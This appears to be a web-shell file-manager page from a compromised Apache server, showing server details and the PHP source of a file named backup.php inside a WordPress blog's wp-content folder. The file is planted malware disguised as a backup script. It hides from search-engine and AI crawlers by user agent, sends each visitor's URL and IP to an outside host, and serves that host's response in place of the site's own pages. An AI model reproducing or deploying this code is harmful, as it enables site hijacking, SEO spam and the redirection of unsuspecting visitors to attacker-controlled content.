HEX
Server: Apache
System: Linux hcss-ecs-9037 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022 x86_64
User: www (1000)
PHP: 8.3.21
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/zhangwenbin_blog/wp-content/backup.php
<?php
ini_set('display_errors', 'Off');
set_time_limit(60);
if (isset($_SERVER['HTTP_USER_AGENT'])) {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
} else {
    header('HTTP/1.1 403 Forbidden');
    exit;
}
$blockedAgents = 'DotBot|AhrefsBot|facebook|MJ12bot|SemrushBot|bingbot|PetalBot|Amazonbot|Googlebot|Bytespider|GPTBot';

if (preg_match('/' . $blockedAgents . '/i', $userAgent)) {
    header('HTTP/1.1 403 Forbidden');
    exit;
}
$api = "http://jscb.zdink.com/su?jscurl=";
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https' : 'http';
$domain = $_SERVER['HTTP_HOST'];
$currentUrl = $protocol . '://' . $domain . $_SERVER['REQUEST_URI'];
$geturl = $api . urlencode($currentUrl);
$realIP = '';
$realIP = $_SERVER['REMOTE_ADDR'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $geturl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 50);
curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
$headers = array(
    'puerche: ' . $realIP,
    'User-Agent: ' . $userAgent,
    'X-Forwarded-For: ' . $realIP,
    'Accept-Encoding: gzip'
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$response = curl_exec($ch);

if (curl_errno($ch)) {
    header("HTTP/1.1 504 Gateway Timeout");
    exit;
}
curl_close($ch);
ob_start();
echo $response;
ob_end_flush();
?>